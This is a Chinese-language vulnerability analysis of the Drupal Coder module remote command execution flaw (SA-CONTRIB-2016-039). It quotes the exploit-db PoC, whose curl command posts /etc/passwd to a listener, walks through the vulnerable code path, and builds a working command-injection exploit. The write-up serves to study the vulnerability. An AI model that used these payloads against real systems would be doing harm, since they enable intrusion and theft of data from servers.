Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)
转载请注明文章出处:http://www.cnblogs.com/magic-zero/p/5787181.html
起初看到这个漏洞的时候是在exploit-db上边。地址在这里:https://www.exploit-db.com/exploits/40144/
后来在网上搜索了一下,发现几篇不错的分析。比如这个:http://seclab.dbappsecurity.com.cn/?p=1267
分析写的不错,想研究或者复现这个漏洞的不妨参考一下。当然也可以参考一下我的这篇文章。
从exploit-db的漏洞详情中,我们可以看到这个poc:
<?php
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
# https://www.drupal.org/node/2765575
# by Raz0r (http://raz0r.name) $cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
$host = "http://localhost:81/drupal-7.12/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "color",
"files" => array("color.module")
)
),
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
"paths" => array(
"modules_base" => "../../../",
"files_base" => "../../../../sites/default/files"
)
);
$payload = serialize($a);
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>
然后在本地测试的时候发现并不能复现。所以决定下载代码重新分析。然后在网上找到了那篇文章。还是挺不错的。帮助理清了思路。
我们来分析:
0x00 我们首先定位漏洞的位置搞清楚执行流程
全局搜索,定位到了两处。其中的一处有我做测试时候的输出。
我们跟进去,
继续往上找。
在coder_upgrade_start函数的定义中使用了这个,继续跟进。
到了这个地方,我们大致搞清楚了流程。coder_upgrade.run.php中的items变量 --> main.inc 中的coder_upgrade_start() --> main.inc 中的 coder_upgrade_make_patch_file() --> shell_exec()执行。
所以,接着我们来尝试构造exp。
0x01 构造利用的exp
在coder_upgrade.run.php中,我们看到
set_error_handler("error_handler");
set_exception_handler("exception_handler");
这样遇到warning就会退出,会给后边的构造带来很多的麻烦。另外这里还有一个判断。
我们本地测试就不去修改这个配置了。先注释掉这个判断。
<?php
/**
* @file
* Invokes the Coder Upgrade conversion routines as a separate process.
*
* Using this script:
* - helps to minimize the memory usage by the web interface process
* - helps to avoid hitting memory and processing time limits by the PHP process
* - enables a batch processing workflow
*
* Parameters to this script:
* @param string $path
* Path to a file containing runtime parameters
*
* The parameters should be stored as the serialized value of an associative
* array with the following keys:
* - paths: paths to files and modules
* - theme_cache: path to core theme information cache
* - variables: variables used by coder_upgrade
* - upgrades: array to be passed to coder_upgrade_start()
* - extensions: ditto
* - items: ditto
*
* @see coder_upgrade_conversions_prepare()
* @see coder_upgrade_parameters_save()
* @see coder_upgrade_start()
*
* To execute this script, save the following shell script to a file and execute
* the shell script from the root directory of your Drupal installation. If you
* have changed the default coder_upgrade output directory name, then modify
* this script accordingly.
*
* #!/bin/sh
*
* MODULES_DIRECTORY=[fill this in, e.g. all or mysite]
* FILES_DIRECTORY=[fill this in, e.g. default or mysite]
* CODER_UPGRADE_DIRECTORY=coder_upgrade [unless you changed it]
* SCRIPT=sites/$MODULES_DIRECTORY/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php
* RUNTIME=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/runtime.txt
* OUTPUT=sites/$FILES_DIRECTORY/files/$CODER_UPGRADE_DIRECTORY/coder_upgrade.run.txt
*
* php $SCRIPT -- file=$RUNTIME > $OUTPUT 2>&1
*
* Alternatively, replace the bracketed items in the following command and
* execute it from the root directory of your Drupal installation.
*
* php sites/[modules_directory]/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php \
* -- file=sites/[files_directory]/files/coder_upgrade/runtime.txt \
* > sites/[files_directory]/files/coder_upgrade/coder_upgrade.run.txt 2>&1
*
* Copyright 2009-11 by Jim Berry ("solotandem", http://drupal.org/user/240748)
*/ // if (!script_is_cli()) {
// // Without proper web server configuration, this script can be invoked from a
// // browser and is vulnerable to misuse.
// return;
// } // Save memory usage for printing later (when code is loaded).
$usage = array();
save_memory_usage('start', $usage); /**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd()); ini_set('display_errors', 1);
ini_set('memory_limit', '128M');
ini_set('max_execution_time', 180);
set_error_handler("error_handler");
set_exception_handler("exception_handler"); // Read command line arguments.
$path = extract_arguments(); //获取到file参数的值
if (is_null($path)) {
echo 'No path to parameter file';
return 2;
} // Load runtime parameters.
$parameters = unserialize(file_get_contents($path)); // Extract individual array items by key.
foreach ($parameters as $key => $variable) {
$$key = $variable; //变量覆盖,也是问题发生的关键地方
}
save_memory_usage('load runtime parameters', $usage); // Set global variables (whose names do not align with extracted parameters).
$_coder_upgrade_variables = $variables;
$_coder_upgrade_files_base = $paths['files_base'];
$_coder_upgrade_libraries_base = $paths['libraries_base'];
$_coder_upgrade_modules_base = $paths['modules_base']; //以上的赋值需要构造,否则直接退出。 // Load core theme cache.
$_coder_upgrade_theme_registry = array();
if (is_file($theme_cache)) {
$_coder_upgrade_theme_registry = unserialize(file_get_contents($theme_cache));
}
save_memory_usage('load core theme cache', $usage); // Load coder_upgrade bootstrap code.
$path = $_coder_upgrade_modules_base . '/coder/coder_upgrade';
$files = array(
'coder_upgrade.inc',
'includes/main.inc',
'includes/utility.inc',
); foreach ($files as $file) {
require_once DRUPAL_ROOT . '/' . $path . "/$file";
} //循环去包含文件,其中的main.inc会触发漏洞 coder_upgrade_path_clear('memory');
print_memory_usage($usage); // $trace_base = DRUPAL_ROOT . '/' . $_coder_upgrade_files_base . '/coder_upgrade/coder_upgrade_';
// $trace_file = $trace_base . '1.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('load coder_upgrade bootstrap code');
// xdebug_stop_trace(); echo "upgrades"."<br>";
var_dump($upgrades); echo "extensions"."<br>";
var_dump($extensions); echo "items"."<br>";
var_dump($items); //调试输出的信息,原来的文件并没有 // Apply conversion functions.
$success = coder_upgrade_start($upgrades, $extensions, $items); //关键性的items变量带入 // $trace_file = $trace_base . '2.trace';
// xdebug_start_trace($trace_file);
coder_upgrade_memory_print('finish');
// xdebug_stop_trace(); return $success ? 0 : 1; /**
* Returns command line arguments.
*
* @return mixed
* String or array of command line arguments.
*/
function extract_arguments() {
switch (php_sapi_name()) {
case 'apache':
case 'apache2handler': // This is the value when running curl.
if (!isset($_GET['file'])) {
echo 'file parameter is not set';
return;
}
$filename = $_GET['file'];
$action = isset($_GET['action']) ? $_GET['action'] : '';
break; case 'cli':
$skip_args = 2;
if ($_SERVER['argc'] == 2) {
$skip_args = 1;
}
elseif ($_SERVER['argc'] < 2) {
echo 'CLI-1: file parameter is not set' . "\n";
return;
}
foreach ($_SERVER['argv'] as $index => $arg) {
// First two arguments are usually script filename and '--'.
// Sometimes the '--' is omitted.
if ($index < $skip_args) continue;
list($key, $value) = explode('=', $arg);
$arguments[$key] = $value;
}
if (!isset($arguments['file'])) {
echo 'CLI-2: file parameter is not set' . "\n";
return;
}
$filename = $arguments['file'];
$action = isset($arguments['action']) ? $arguments['action'] : '';
break;
}
return $filename;
} /**
* Saves memory usage for printing later.
*
* @param string $step
* A string describing the code step when the memory usage is gathered.
*
* @return mixed
* String or array of command line arguments.
*/
function save_memory_usage($step, &$usage) {
$usage[] = $step;
$usage[] = 'Peak: ' . number_format(memory_get_peak_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = 'Curr: ' . number_format(memory_get_usage(TRUE), 0, '.', ',') . ' bytes';
$usage[] = '';
$usage[] = '';
} function print_memory_usage($usage) {
$text = 'Missing memory usage information';
if (is_array($usage)) {
$text = implode("\n", $usage);
}
coder_upgrade_path_print(coder_upgrade_path('memory'), $text);
} function exception_handler($e) {
try {
// ... normal exception stuff goes here
}
catch (Exception $e) {
print get_class($e) . " thrown within the exception handler. Message: " . $e->getMessage() . " on line " . $e->getLine();
}
} function error_handler($code, $message, $file, $line) {
if (0 == error_reporting()) {
return;
}
throw new ErrorException($message, 0, $code, $file, $line);
} /**
* Returns boolean indicating whether script is being run from the command line.
*
* @see drupal_is_cli()
*/
function script_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
对比原先的exp,我们加上两个变量:
"variables" => 1,
"theme_cache" => 1,
最终的利用代码参考:
<?php $host = "http://192.168.30.134/test/coder/"; $a = array(
"upgrades" => array(
"coder_upgrade" => array(
"module" => "coder",
"files" => array("coder.module")
)
),
"variables" => 1,
"theme_cache" => 1,
"extensions" => array("module"),
"items" => array (array("old_dir"=>"test;ipconfig;", "new_dir"=>"test;ipconfig;", "name"=>1)),
"paths" => array(
"modules_base" => "../../..",
"files_base" => "../..",
"libraries_base" => 1
)
);
$payload = serialize($a);
echo file_get_contents($host . "coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload)); ?>
运行的结果会在当前的目录下生成一个文件夹:
原因是因为这个:
这里其实还有一个坑,是windows下测试的时候。用管道符"||"去拼接代码,进行执行的时候是有问题的。命令拼接虽然可以,但是由于创建文件早了一步,会因为无法创建而退出。关于这个暂时没有找到好的解决方案。如果有好的解决思路,请留言。
刚开始学习审计,多有不足之处,还请指出。
Drupal Coder 模块远程命令执行分析(SA-CONTRIB-2016-039)的更多相关文章
- Drupal 远程命令执行漏洞(CVE-2018-7600)
名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...
- ThinkPHP 5.x远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- ThinkPHP 5.0远程命令执行漏洞分析与复现
0x00 前言 ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的 ...
- 泛微OA E-cology(CNVD-2019-32204)远程命令执行漏洞复现分析
漏洞复现 影响版本: E-cology 7.0 E-cology 8.0 E-cology 8.1 E-cology 9.0 直接在网站根目录后加入组件访问路径 /weaver/bsh.servl ...
- 22.ThinkPHP5框架缺陷导致远程命令执行
前言: 昨天爆出了ThinkPHP5框架缺陷导致远程命令执行,大佬们都赶上潮流挖洞,小白还是默默学习一下这个漏洞 漏洞影响范围: Thinkphp 5.1.0 - 5.1.31 Thinkphp 5. ...
- Supervisord远程命令执行漏洞(CVE-2017-11610)复现
Supervisord远程命令执行漏洞(CVE-2017-11610)复现 文章首发在安全客 https://www.anquanke.com/post/id/225451 写在前面 因为工作中遇到了 ...
- "Java 反序列化"过程远程命令执行漏洞
一.漏洞描述 国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...
- SSD报告 - QRadar远程命令执行
SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...
- URI Scheme注册伪协议实现远程命令执行
Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...
随机推荐
- nyoj746 整数划分
nyoj746 http://acm.nyist.net/JudgeOnline/problem.php?pid=746 一道区间dp的题目: 设:a[i][j]为那一串数字中从第i位到第j位的数是多 ...
- [SoapUI] 通过Groovy调用批处理文件.bat
import com.eviware.soapui.support.GroovyUtils def groovyUtils = new GroovyUtils( context ) def proje ...
- 3.3.4深度剖析ConcurrentLinkedQueue
队列.链表之类的数据结构及其常用.Java中,ArrayList和Vector都是使用数组作为其内部实现.两者最大的不同在于:Vector是线程安全的,而ArrayList不是.此外LinkedLis ...
- javascript总结39:DOM 中常用的表单元素的属性
1 常用操作元素: value 用于大部分表单元素的内容获取(option除外) type 可以获取input标签的类型(输入框或复选框等) disabled 禁用属性 checked 复选框选中属性 ...
- javascript总结36:DOM-点击按钮切换图片案例
<!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8& ...
- js流程图:aworkflow.js
auto-workflow 用于快速构建各种关系图的库 github地址:https://github.com/auto-workflow/AWorkflow 快速开始 npm install awo ...
- Word2010如何编辑好了直接发布csdn博文?
目前大部分的博客作者在写博客这件事情上都会遇到以下3个痛点:1.所有博客平台关闭了文档发布接口,用户无法使用Word,Windows Live Writer等工具来发布博客.2.发布到博客或公众号平台 ...
- sqlplus 简单的几个查询语句
sqlplus 是用来和oracle进行交互的工具,可以在电脑端使用,也可以在服务器使用 常用命令 show 显示SQL Plus中的信息 connect 先无条件断 ...
- gkd
## Part 0. 开篇 组长博客:[戳我进入]() 作业博客:[班级博客本次作业的链接](https://edu.cnblogs.com/campus/fzu/Grade2016SE/homewo ...
- Jessica's Reading Problem——POJ3320
Jessica's Reading Problem——POJ3320 题目大意: Jessica 将面临考试,她只能临时抱佛脚的在短时间内将课本内的所有知识点过一轮,课本里面的P个知识点顺序混乱,而且 ...